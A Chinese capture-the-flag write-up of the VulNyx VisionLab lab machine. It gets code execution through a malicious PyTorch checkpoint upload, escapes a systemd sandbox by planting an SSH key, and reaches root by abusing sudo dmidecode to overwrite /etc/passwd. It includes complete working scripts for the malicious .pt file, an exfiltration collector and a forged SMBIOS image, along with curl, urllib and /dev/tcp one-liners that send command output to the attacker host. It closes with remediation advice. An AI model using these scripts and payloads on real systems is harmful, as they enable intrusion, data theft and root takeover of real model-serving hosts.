VulNyx VisionLab 通关记录|PyTorch 反序列化与 dmidecode 提权
靶机链接:VisionLab
本文记录的是 VulNyx VisionLab 靶机(PyTorch 目标检测服务) 的完整攻击链。整条利用链完全自研,不依赖任何第三方公开 exploit:恶意 .pt Checkpoint 权重包、带合法校验和的伪造 SMBIOS 内存镜像全部手工构造,是一套涵盖“AI 模型反序列化 + 沙箱识别与穿透 + 二进制逆向 + 任意文件写入提权”的高质量实战样本。
0x01 基本信息
| 名称 | IP / 主机名 | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| VisionLab | 192.168.1.104 | Debian 13 靶机(VisionLab 目标检测服务) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、8000/tcp Uvicorn VisionLab | 锁定 Web 推理服务为突破口 |
| API 枚举 | /openapi.json 暴露 /api/detect 接收可选二进制 model 字段 | 发现用户可投递自定义 PyTorch 权重文件 |
| 版本指纹 | /api/health 返回 torch 2.5.1+cpu | 确认 weights_only=False 默认行为,存在反序列化 RCE 隐患 |
手工构造 .pt | archive/data.pkl 布局 + __reduce__ 自定义 payload | 纯 Python 标准库生成武器化 Checkpoint 文件 |
| RCE 触发 | 上传 evil.pt,HTTP POST 接收器捕获命令输出 | 获得 vision 用户权限的远程代码执行 |
| User Flag | 读取 /home/vision/user-48Jj1Lw.txt | 获取第一枚 Flag |
| 沙箱识别 | visionlab.service 启用 NoNewPrivileges 深度沙箱,但未开启 ProtectHome | 明确必须跳出 systemd 沙箱才能利用 sudo |
| SSH 跳板 | 通过 RCE 向 /home/vision/.ssh/authorized_keys 追加公钥 | 获得不受 systemd 沙箱限制的独立 Shell |
| sudo 提权点 | sudo -l 发现 (ALL) NOPASSWD: /usr/sbin/dmidecode | 获得以 root 权限运行 dmidecode 的能力 |
| 二进制逆向 | 分析 dmidecode 的 --no-sysfs、-d FILE 与 --dump-bin 逻辑 | 构造出受控内容的 root 任意文件覆写原语 |
| 伪造 SMBIOS | 构造 1MiB 内存镜像,包含合法 _SM_ 入口点、校验和与 DMI 表 | 将恶意数据合法转储为目标文件 |
| Root 提权 | 覆写 /etc/passwd 并追加 pwn::0:0:pwn:/root:/bin/bash | 空密码切换 root,获取 Root Flag |
0x02 侦察与信息收集 (Reconnaissance)
1. TCP 端口与服务识别
使用 Nmap 对目标主机进行全端口扫描与服务版本探测:
nmap -sV -sC -O -T4 -p- 192.168.1.104 -oN nmap_full.txt
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8000/tcp open http Uvicorn
|_http-server-header: uvicorn
|_http-title: VisionLab — Object Detection
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux/linux_kernel
目标开放了 22 (SSH) 与 8000 (Uvicorn / FastAPI),运行着名为 VisionLab 的目标检测 Web 应用。
2. FastAPI 自动文档与 API 枚举
FastAPI 默认会生成 OpenAPI 规范文档。直接抓取 /openapi.json:
curl -s http://192.168.1.104:8000/openapi.json | jq .paths
{
"/": { "get": { "summary": "Index" } },
"/api/health": { "get": { "summary": "Health" } },
"/api/model": { "get": { "summary": "Model Information" } },
"/api/detect": {
"post": {
"summary": "Detect",
"requestBody": {
"content": {
"multipart/form-data": {
"schema": {
"properties": {
"image": { "type": "string", "format": "binary" },
"model": { "anyOf": [{ "type": "string", "format": "binary" }, { "type": "null" }] },
"threshold": { "type": "number", "default": 0.5 }
},
"required": ["image"]
}
}
}
}
}
}
}
关键发现:
/api/detect是一个multipart/form-data接口;- 该接口必填
image(图片文件),且允许可选上传model(二进制模型权重)。
3. 服务指纹与安全参数探测
请求健康检查与模型信息接口:
curl -s http://192.168.1.104:8000/api/health; echo
curl -s http://192.168.1.104:8000/api/model; echo
{"status":"ok","model_loaded":true,"torch":"2.5.1+cpu","torchvision":"0.20.1+cpu","device":"cpu"}
{"architecture":"ssdlite320_mobilenet_v3_large","classes":["__background__","person",...],"class_count":91,"checkpoint":"default_model.pt"}
测试 model 上传接口的校验逻辑:
# 下载一张合法的示例图片备用
curl -s http://192.168.1.104:8000/static/images/climbing.jpg -o climbing.jpg
# 测试非 .pt/.pth 文件上传
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@climbing.jpg"
{"detail":"The checkpoint must use a .pt or .pth extension."}
阶段推导:
| 特征 | 实际表现 | 安全影响 |
|---|---|---|
| PyTorch 版本 | 2.5.1+cpu | PyTorch 直到 2.6 才将 torch.load() 默认参数改为 weights_only=True;更关键的是,服务端源码显式指定了 weights_only=False,导致任意版本的反序列化保护均被主动绕过 |
| 文件校验 | 仅根据文件名后缀是否为 .pt / .pth 过滤 | 只要后缀合法,文件内容将直接送入 torch.load() 反序列化执行任意代码 |
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. PyTorch Checkpoint 反序列化 RCE 原理
PyTorch 保存的标准模型 Checkpoint (torch.save) 本质上是一个经过封装的 ZIP 归档包。当使用 torch.load() 加载模型时:
- 解压 ZIP 包并寻找
archive/data.pkl(或顶级data.pkl); - 使用 Python 原生
pickle.loads()解析该文件; - Pickle 协议在还原自定义类实例时,会自动调用该类定义的
__reduce__方法; __reduce__返回一个可调用对象(如subprocess.run)和参数元组,反序列化器会立即调用它,从而实现任意命令执行。
2. 纯 Python 手工构造恶意 Checkpoint (.pt)
无需在攻击机上安装体积庞大的 PyTorch,利用 Python 标准库 pickle 与 zipfile 即可直接构建武器化 .pt 文件。
配套脚本: craft_pt.py — 纯 Python 构造带恶意 pickle 的 PyTorch checkpoint 脚本。
#!/usr/bin/env python3
"""craft_pt.py — 纯 Python 构造带恶意 pickle 的 PyTorch checkpoint (.pt)
无需安装 PyTorch:torch.load() 默认反序列化 zip 包内的 archive/data.pkl,
触发 __reduce__ 执行任意命令(适用于 torch <= 2.5.1 或未显式指定 weights_only=True 的环境)。
用法:
python3 craft_pt.py "<要执行的命令>" <输出文件名.pt>
示例:
python3 craft_pt.py "id | curl -s -X POST --data-binary @- http://192.168.1.109:8888/loot" evil.pt
"""
import pickle
import sys
import zipfile
class RCE:
def __init__(self, cmd: str):
self.cmd = cmd
def __reduce__(self):
import subprocess
return (subprocess.run, (["/bin/sh", "-c", self.cmd],))
def craft_checkpoint(cmd: str, output_path: str) -> None:
payload = pickle.dumps(RCE(cmd))
with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("archive/.format_version", b"3")
z.writestr("archive/data.pkl", payload)
z.writestr("archive/byteorder", b"little")
z.writestr("archive/version", b"3\n")
print(f"[+] 成功生成恶意 checkpoint: {output_path} (Payload: {cmd!r})")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <命令> <输出.pt>")
sys.exit(1)
craft_checkpoint(sys.argv[1], sys.argv[2])
构造过程避坑指南
| 尝试步骤 | ZIP 内部结构 | 服务端报错信息 | 根因与修正方式 |
|---|---|---|---|
| 尝试 1 | 根目录下放置 data.pkl | [enforce fail at inline_container.cc:174] file in archive is not in a subdirectory: .format_version. | PyTorch 新容器格式强制要求条目包含子目录前缀,需统一加入 archive/ |
| 尝试 2 | archive/version 内容为 b"0\n" | Attempted to read a PyTorch file with version 0, but the minimum supported version for reading is 1... | version 文件需明确写为支持的版本号(如 b"3\n") |
| 尝试 3 | subprocess.run([["/bin/sh", ...]]) | TypeError: expected str, bytes or os.PathLike object, not list. | 参数必须是一维列表 ["/bin/sh", "-c", cmd] |
3. 无回显命令执行通道构建 (HTTP POST 收集器)
由于模型加载异常时 HTTP 响应只会返回 422/500 JSON 错误,命令执行是无回显的。我们在攻击机上启动轻量级 HTTP 监听器接收 Base64 编码的命令结果:
配套脚本: collector.py — 接收目标 Base64 回传数据的 HTTP 收集器。
#!/usr/bin/env python3
"""collector.py — 轻量级 HTTP POST 数据接收器
用于在无回显 RCE 场景下接收目标回传的数据并保存到本地。
用法:
python3 collector.py [端口,默认 8888] [保存目录,默认 ./loot]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
import sys
import time
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8888
LOOT_DIR = sys.argv[2] if len(sys.argv) > 2 else "./loot"
class LootHandler(BaseHTTPRequestHandler):
def _save(self):
length = int(self.headers.get("Content-Length", 0))
data = self.rfile.read(length)
ts = int(time.time() * 1000)
path = self.path.strip("/").replace("/", "_") or "root"
filename = os.path.join(LOOT_DIR, f"{ts}_{path}.bin")
with open(filename, "wb") as f:
f.write(data)
client_ip = self.client_address[0]
print(f"[+] 收到来自 {client_ip} 的回传 ({len(data)} 字节) -> {filename}")
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK\n")
do_POST = _save
do_GET = _save
def log_message(self, format, *args):
pass
def run_server():
os.makedirs(LOOT_DIR, exist_ok=True)
server = HTTPServer(("0.0.0.0", PORT), LootHandler)
print(f"[*] HTTP 回传接收器已启动,监听 0.0.0.0:{PORT},数据保存至 {LOOT_DIR}")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] 接收器已停止。")
if __name__ == "__main__":
run_server()
0x04 初始访问与用户 Flag (Initial Access)
1. 投递载荷触发 RCE 与回连确认
在无回显探针中,多条命令必须包裹在子 shell $(id; hostname) 或大括号命令组 { id; hostname; } 中再送入外带通道。若直接写为 id; hostname | curl ...,由于分号优先级高于管道,id 的输出会直接打印到服务端不可见的标准输出而丢失,curl 最终只会传回 hostname 的内容。
本靶机默认预装了 curl 工具。若在其他极简镜像中复现且遇到目标未安装 curl 时,可改用以下纯 Python 或 Bash 内置单行载荷作为兜底:
- Python
urllib兜底:python3 -c "import urllib.request, subprocess; data=subprocess.check_output('id; hostname', shell=True); urllib.request.urlopen('http://192.168.1.109:8888/pwn', data=data)" - Bash
/dev/tcp兜底:bash -c 'exec 3<>/dev/tcp/192.168.1.109/8888; OUT=$(id; hostname); echo -e "POST /pwn HTTP/1.0\r\nContent-Length: ${#OUT}\r\n\r\n$OUT" >&3'
启动 HTTP 收集器,生成第一个探针 Checkpoint 并上传:
# 1. 启动接收器
python3 collector.py 8888 ./loot &
# 2. 生成探针并上传
python3 craft_pt.py "curl -s -X POST --data-binary \"\$(id; hostname)\" http://192.168.1.109:8888/pwn" evil.pt
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@evil.pt"
服务端响应:
{"detail":"The uploaded file is not a checkpoint dictionary."}
虽然服务端抛出了“非模型字典”异常,但反序列化执行早已完成。查看本地 loot/ 目录中的捕获数据:
uid=1000(vision) gid=1000(vision) groups=1000(vision),24(cdrom),...
VisionLab
RCE 确认成功。 我们已获得目标靶机上 vision 用户的任意命令执行权限。
2. 自动化信息收集与 User Flag 获取
编写批量收集命令并通过 RCE 获取系统信息与 User Flag:
python3 craft_pt.py "cat /home/vision/user-48Jj1Lw.txt | curl -s -X POST --data-binary @- http://192.168.1.109:8888/flag" flag.pt
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@flag.pt" >/dev/null
User Flag:
f654b2849e638c52cdb826646476c2d0
3. 目标源码审计与漏洞成因确认
通过 RCE 查看 /opt/visionlab/app/checkpoints.py 的核心模型加载函数:
def load_detector(checkpoint_path: str | Path, ...) -> LoadedDetector:
# Intentionally vulnerable sink for the cybersecurity laboratory.
checkpoint = torch.load(
Path(checkpoint_path),
map_location="cpu",
weights_only=False, # 显式指定 False,导致未受限反序列化
)
...
源码清楚地展示了漏洞成因:服务端直接将用户上传的临时文件路径传给 torch.load(),且显式配置了 weights_only=False。
0x05 权限提升 (Privilege Escalation)
1. systemd 沙箱分析与 SSH 跳板绕过
在 RCE 中直接执行 sudo -l 或提权尝试会直接报错:
sudo: The "no new privileges" flag is set, which prevents sudo from running as root.
检查 /etc/systemd/system/visionlab.service 的服务单元定义:
[Service]
User=vision
Group=vision
WorkingDirectory=/opt/visionlab
ExecStart=/opt/visionlab/.venv/bin/python -m uvicorn app.main:app --host 0.0.0.0 --port 8000 --workers 1
# 沙箱安全加固配置
NoNewPrivileges=true
CapabilityBoundingSet=
AmbientCapabilities=
PrivateDevices=true
PrivateTmp=true
ProtectSystem=strict
#ProtectHome=read-only <-- 关键:被注释掉了,允许写 /home/vision
RestrictSUIDSGID=true
ReadWritePaths=/opt/visionlab/.cache
关键机制分析:
NoNewPrivileges=true导致子进程无法通过 SUID 或sudo提升权限;- 但
#ProtectHome=read-only被注释掉,使得vision用户的家目录仍然可写; sshd是由 root 独立运行的系统服务,不继承visionlab.service的 systemd 限制。
因此,利用 RCE 向 /home/vision/.ssh/authorized_keys 写入攻击机的 SSH 公钥,通过 SSH 登录即可获得不受沙箱约束的完整 Shell:
PUB=$(cat ~/.ssh/id_ed25519.pub)
CMD="mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo '$PUB' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"
python3 craft_pt.py "$CMD" ssh_inject.pt
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@ssh_inject.pt" >/dev/null
通过 SSH 登录目标:
ssh -o StrictHostKeyChecking=no vision@192.168.1.104
2. sudo 提权面枚举
在不受限制的 SSH 会话中执行 sudo -l:
vision@VisionLab:~$ sudo -l
Matching Defaults entries for vision on VisionLab:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vision may run the following commands on VisionLab:
(ALL) NOPASSWD: /usr/sbin/dmidecode
目标允许 vision 用户免密以 root 身份执行 /usr/sbin/dmidecode。
3. dmidecode 逆向分析与写原语构建
dmidecode 通常用于读取硬件 DMI/SMBIOS 数据,GTFOBins 没有现成条目。将二进制拖回攻击机进行静态逆向:
scp vision@192.168.1.104:/usr/sbin/dmidecode ./dmidecode
objdump -d --no-show-raw-insn dmidecode > dmi.asm
查看支持的命令行参数与内部处理逻辑:
Options:
-d, --dev-mem FILE Read memory from device FILE (default: /dev/mem)
--dump-bin FILE Dump the DMI data to a binary file
--no-sysfs Do not attempt to read DMI data from sysfs files
结合汇编与源码流程定位到核心逻辑:
- 输入源分支与环境依赖:
- 默认情况下,dmidecode 会优先尝试读取
/sys/firmware/dmi/tables/; - 当传入
--no-sysfs时,dmidecode 会跳过 sysfs 表; - 在 Legacy BIOS 启动模式下(无 EFI 运行时表
/sys/firmware/efi/systab),程序会回退到传统物理内存扫描流程(0xF0000–0x100000),此时-d FILE参数指定的自定义 1MiB 内存镜像文件生效并被正确解析; - 在 UEFI/EFI 启动环境下,dmidecode 会优先通过 EFI 获取高位物理地址并直接读取,导致读取 1MiB 自定义文件时因物理地址越界而报错失败。因此本利用链依赖 Legacy BIOS 引导的虚拟机/物理机环境。
- 默认情况下,dmidecode 会优先尝试读取
- 转储写入流程: 函数
write_dump会以二进制格式转储解析出的 DMI 数据,写入顺序为:- 先以
"wb"模式打开--dump-bin指定的目标文件,写入 DMI 结构表体; - 再以
"ab"模式追加写入 31 字节 SMBIOS 入口点 (Entry Point)。
- 先以
在实战与本地复现中,可通过以下命令快速自检目标环境是否满足利用条件:
# 1. 确认系统引导模式非 EFI(目录不存在即为 Legacy BIOS)
ls -d /sys/firmware/efi 2>/dev/null || echo "[+] 当前为 Legacy BIOS 引导,支持内存扫描利用"
# 2. 检查 dmidecode 版本与参数支持
sudo /usr/sbin/dmidecode -V
利用原语形成:
sudo /usr/sbin/dmidecode --no-sysfs -d <自控内存镜像> --dump-bin <目标文件>
只要我们构造一个符合 SMBIOS 规范的伪造内存镜像,dmidecode 就会将其中受控的内容以 root 属主写入任意目标文件。
4. 伪造 SMBIOS / DMI 内存镜像
SMBIOS 规范要求内存镜像包含两大部分:
- SMBIOS 32 位入口点 (
_SM_): 位于0xF0000偏移处,固定 31 字节,包含中间校验和与全局校验和。 - DMI 结构表: 位于
0xFE000偏移处。我们定义两个结构体:- Type 126 结构(未分配/自定义类型): Header 4 字节,后接 String Area(存放我们的自定义文本 Payload);
- Type 127 结构(End-of-Table): 标识结构表结束。
5. 落点选择与容错复盘
--dump-bin 输出文件的整体布局为:
[DMI 结构表(含 Payload)] + [31 字节二进制 SMBIOS 入口点]。
| 落点尝试 | 目标路径 | 结果 | 根因复盘 |
|---|---|---|---|
| 落点 A | /etc/cron.d/pwn | 失败 | Debian cron 对配置文件格式极为严格,检测到文件尾部的二进制垃圾字节(包含 \0 等不可见字符)时会直接报错并丢弃整个文件。 |
| 落点 B | /etc/passwd | 成功 | Linux 的 getpwent / pam_unix 采用逐行文本解析;首行非法的二进制头会被自动忽略,只要包含完整的原账户并在末尾追加合法行即可完美生效。 |
6. 覆写 /etc/passwd 注入 UID 0 用户并切换 root
由于 --dump-bin 会整文件覆盖目标,为确保系统正常运行,必须将原 /etc/passwd 的内容完整嵌入 Payload。
配套脚本: mkpasswd.py — 构造伪造 SMBIOS 镜像覆写 /etc/passwd 并追加 UID 0 用户的生成脚本。
#!/usr/bin/env python3
"""mkpasswd.py — 构造伪造 SMBIOS 内存镜像,配合 dmidecode --dump-bin 覆写 /etc/passwd
原理:
dmidecode --no-sysfs -d <FILE> --dump-bin <TARGET> 会将 DMI 表与 SMBIOS 入口点以二进制写入目标文件:
[DMI 结构表体 (包含自定义 string)][SMBIOS 入口点 (31 字节)]
由于 /etc/passwd 容忍非结构化首行垃圾,我们在自定义 DMI Structure (Type 126) 的 String Area
中填充原始 passwd 内容 + 追加的 UID 0 空密码用户,从而实现无损提权。
用法:
python3 mkpasswd.py <原始 passwd 文件路径> <输出内存镜像路径> [新用户名,默认 pwn]
示例:
python3 mkpasswd.py /etc/passwd fakemem_pw.bin pwn
"""
import sys
def build_fake_smbios(orig_passwd_path: str, output_path: str, username: str = "pwn") -> None:
with open(orig_passwd_path, "rb") as f:
orig_data = f.read()
if not orig_data.endswith(b"\n"):
orig_data += b"\n"
# 前导换行隔离首行二进制垃圾,末尾追加 UID 0 空密码用户
payload = b"\n" + orig_data + f"{username}::0:0:{username}:/root:/bin/bash\n".encode("utf-8")
# 构造 DMI 结构表:Type 126 自定义结构包含 payload,Type 127 终止结构
table = bytes([126, 4, 0x00, 0x00]) + payload + b"\x00\x00"
table += bytes([127, 4, 0xFE, 0xFF]) + b"\x00\x00"
tbl_len = len(table)
if tbl_len > 65535:
raise ValueError(f"DMI 表过大 ({tbl_len} 字节),超过 64KB 限制")
# 构造 31 字节 32 位 SMBIOS 入口点
ep = bytearray(31)
ep[0:4] = b"_SM_"
ep[5] = 31 # Entry Point 长度
ep[6] = 2 # Major Version
ep[7] = 5 # Minor Version
ep[8] = 0x24 # Max Structure Size
ep[9] = 0x00 # Entry Point Revision
ep[0x0A] = 0 # Formatted Area
ep[0x10:0x15] = b"_DMI_"
TBL_ADDR = 0x0FE000
ep[0x16] = tbl_len & 0xFF
ep[0x17] = (tbl_len >> 8) & 0xFF
for i in range(4):
ep[0x18 + i] = (TBL_ADDR >> (8 * i)) & 0xFF
ep[0x1C] = 2 # 结构数量 (Type 126 + Type 127)
ep[0x1D] = 0
ep[0x1E] = 0x25 # BCD 修订版 2.5
# 校验和计算
ep[0x15] = (-sum(ep[0x10:0x1F])) & 0xFF # Intermediate Checksum
ep[0x04] = (-sum(ep[0x00:0x1F])) & 0xFF # Anchor String Checksum
# 构建 1 MiB 内存镜像
img = bytearray(0x100000)
img[TBL_ADDR : TBL_ADDR + tbl_len] = table
img[0xF0000 : 0xF0000 + 31] = ep
with open(output_path, "wb") as f:
f.write(img)
print(f"[+] 成功生成伪造内存镜像: {output_path}")
print(f" - DMI 表长度: {tbl_len} 字节 (包含 Payload: {len(payload)} 字节)")
print(f" - 新增特权用户: {username} (UID=0, GID=0, 无密码)")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <原始 passwd 路径> <输出镜像路径> [新用户名]")
sys.exit(1)
uname = sys.argv[3] if len(sys.argv) > 3 else "pwn"
build_fake_smbios(sys.argv[1], sys.argv[2], uname)
执行提权操作:
# 1. 抓取目标当前的 /etc/passwd
scp vision@192.168.1.104:/etc/passwd ./passwd.orig
# 2. 生成伪造镜像并上传
python3 mkpasswd.py ./passwd.orig fakemem_pw.bin pwn
scp fakemem_pw.bin vision@192.168.1.104:/home/vision/fakemem_pw.bin
# 3. 目标端以 root 身份覆写 /etc/passwd
ssh vision@192.168.1.104 \
'sudo /usr/sbin/dmidecode --no-sysfs -d /home/vision/fakemem_pw.bin --dump-bin /etc/passwd'
执行输出:
# dmidecode 3.4
Scanning /home/vision/fakemem_pw.bin for entry point.
SMBIOS 2.5 present.
2 structures occupying 1273 bytes.
Table at 0x000FE000.
# Writing 1273 bytes to /etc/passwd.
# Writing 31 bytes to /etc/passwd.
检查写入后的 /etc/passwd 末尾:
ssh vision@192.168.1.104 'tail -n 4 /etc/passwd'
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
vision:x:1000:1000:vision,,,:/home/vision:/bin/bash
pwn::0:0:pwn:/root:/bin/bash
从 dmidecode 输出可以看到,工具在写入 DMI 表体(1273 字节)后,又以追加模式写入了 31 字节的 SMBIOS 入口点数据。因此落盘后的 /etc/passwd 尾部实际上包含这 31 字节二进制残留(包含 \0 与不可见字符)。
Linux 系统的账户库(getpwent / PAM)采用逐行扫描,尾部无法匹配冒号格式的二进制乱码行会被解析器自动忽略,完全不影响 pwn 账户的正常加载与特权切换。这也印证了前面落点评估中选择 /etc/passwd(容忍非结构行)而非 /etc/cron.d(对不可见字符报错抛弃)的关键决策。
7. 切换 root 与获取 Root Flag
pwn 用户的密码字段为空,直接通过 su 切换:
ssh vision@192.168.1.104 'printf "\n" | script -qec "su pwn -c \"id; whoami\"" /dev/null'
uid=0(root) gid=0(root) groups=0(root)
root
读取 Root Flag:
ssh vision@192.168.1.104 'printf "\n" | script -qec "su pwn -c \"cat /root/root.txt\"" /dev/null'
14fa7405194325a89bd063b8ad30fba2
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/vision/user-48Jj1Lw.txt - 权限:
-rw-r----- 1 root vision 33 - 内容:
f654b2849e638c52cdb826646476c2d0
Root Flag
- 路径:
/root/root.txt - 权限:
-r-------- 1 root root 33 - 内容:
14fa7405194325a89bd063b8ad30fba2
0x07 漏洞汇总
| # | 漏洞名称 | 严重程度 | 漏洞位置 | 利用方式与核心机理 |
|---|---|---|---|---|
| 1 | PyTorch Checkpoint 反序列化 RCE | Critical | /api/detect 接口 (load_detector) | 源码显式指定 weights_only=False,上传恶意 .pt 触发 pickle.__reduce__ 执行任意命令 |
| 2 | systemd 沙箱隔离不完全 | Medium | /etc/systemd/system/visionlab.service | 未限制 ProtectHome,允许被渗透的 Web 进程向用户家目录注入 SSH 公钥并绕过 NoNewPrivileges |
| 3 | 危险 Sudo 二进制授权 | High | /etc/sudoers (dmidecode) | 允许免密以 root 执行 dmidecode,Legacy BIOS 下通过 --no-sysfs 与 --dump-bin 构成受控内容的任意文件写入原语 |
| 4 | 密码文件容错解析缺陷 | Medium | /etc/passwd | 解析器容忍首行二进制头,使得攻击者可通过转储构造包含空密码 UID 0 特权账户的合法文件 |
0x08 敏感文件与关键配置清单
| 文件 / 路径 | 权限 / 属主 | 作用与说明 |
|---|---|---|
/opt/visionlab/app/checkpoints.py | vision:vision 664 | Web 应用模型加载核心模块,包含脆弱的 torch.load 调用 |
/etc/systemd/system/visionlab.service | root:root 644 | systemd 守护进程单元,配置了 NoNewPrivileges 沙箱加固规则 |
/home/vision/.ssh/authorized_keys | vision:vision 600 | SSH 公钥认证文件,用于跳出 systemd 沙箱约束 |
/usr/sbin/dmidecode | root:root 755 | 具备 Sudo 免密权限的二进制文件,转储功能被武器化为任意写原语 |
/etc/passwd | root:root 644 | 系统用户账户库,被覆写注入 pwn::0:0 空密码特权用户 |
0x09 复盘总结
- AI / ML 推理接口已成为高危攻击面。 随着 LLM 与 CV 模型的普及,模型加载功能经常被直接暴露给公网。PyTorch 权重本质是 Zip + Pickle,在没有强校验或
weights_only保护的情况下,上传模型等同于开放远程 Shell。 - 警惕「版本升级」的安全盲区与显式参数覆盖。 虽然 PyTorch 在 2.6 之后将
weights_only默认值调整为True,但在很多历史遗留或业务代码中,开发者常因兼容性报错而显式硬编码weights_only=False。显式参数会直接覆盖框架默认安全策略,即便在最新版 PyTorch 环境下仍会导致 RCE。 - 摆脱依赖限制,直接操作数据规范。 Checkpoint 只是 ZIP 归档,无需本地安装几百 MB 的深度学习框架,直接使用标准库按照规范构造
archive/data.pkl与.format_version即可完成武器化。 - 深入理解 systemd 安全沙箱的边界。
NoNewPrivileges能够阻止沙箱内的特权提升,但只要允许写入共享持久化区域(如用户家目录),攻击者即可通过 SSH、Cron 等旁路服务建立不受沙箱限制的新上下文。 - 不要盲信 GTFOBins,冷门二进制要靠逆向。
dmidecode虽不在标准提权清单中,但通过对其命令行参数(--no-sysfs、-d、--dump-bin)与内部fopen/fwrite流程的逆向分析,成功挖掘出高价值的任意文件写原语。 - 关注底层固件与引导环境对提权链的影响。 本机利用链依赖 Legacy BIOS 引导机制,dmidecode 在跳过 sysfs 后顺利回退到物理内存扫描;而在 UEFI 环境下 dmidecode 会优先访问 EFI 地址表,导致内存镜像文件解析失败。理解引导模式差异是排查提权链环境依赖的关键。
- 文件格式规范是构造 Payload 的基石。 掌握 SMBIOS 规范中 31 字节
_SM_入口点校验和算法与 DMI 结构表 Type 126 String Area 机制,使得我们能够欺骗内核级工具生成目标数据。 - 写入落点要充分评估下游解析器的容错能力。
cron.d遇到二进制头会报错退出,而/etc/passwd逐行解析则能自动包容首行垃圾数据。根据文件解析器的容错特征调整落点是写原语利用的关键。 - 破坏性覆盖必须保留全量历史数据。
--dump-bin属于 Truncate 写入,覆写系统核心配置文件前必须先将原文件内容读出并拼接,避免造成系统崩溃或服务拒绝,遵循渗透测试最小破坏原则。
0x0A 修复与防御建议
| 风险维度 | 针对性防御措施 |
|---|---|
| 模型加载安全 | 1. 在 torch.load() 中显式指定 weights_only=True,或迁移至安全无代码执行风险的格式(如 HuggingFace Safetensors)——这是唯一根本性修复措施;注意:仅升级 PyTorch 版本无法防御显式声明 weights_only=False 的脆弱代码;2. 生产环境严禁允许不可信普通用户直接上传自定义 PyTorch 权重文件; 3. 对必须上传的模型权重实施严格的白名单架构校验与数字签名验证。 |
| 服务沙箱加固 | 1. 在 visionlab.service 中取消注释并启用 ProtectHome=true 或 ProtectHome=read-only,防止向用户目录写入 SSH 密钥;2. 对应用进程启用临时隔离目录( PrivateTmp=true)。 |
| Sudo 权限最小化 | 1. 严格审查 sudoers 配置,避免向包含文件写入或转储功能的工具(如 dmidecode、tcpdump)授予无限制 root 执行权限;2. 若必须执行 dmidecode,应限定具体只读参数,禁用 --dump-bin 与 -d 选项。 |
| 核心文件监控 | 部署文件完整性监控(如 AIDE / Wazuh / Tripwire),对 /etc/passwd、/etc/shadow 等核心系统配置文件的任何非预期的写入与属性变更实施实时告警。 |
0x0B 附件下载
| 附件文件 | 作用与功能说明 | 下载链接 |
|---|---|---|
craft_pt.py | 纯 Python 构造带恶意 Pickle 载荷的 PyTorch Checkpoint (.pt) 脚本 | 下载 |
collector.py | 用于无回显 RCE 数据回传接收的轻量级 HTTP POST 监听器 | 下载 |
mkpasswd.py | 构造伪造 SMBIOS 内存镜像配合 dmidecode 覆写 /etc/passwd 的提权脚本 | 下载 |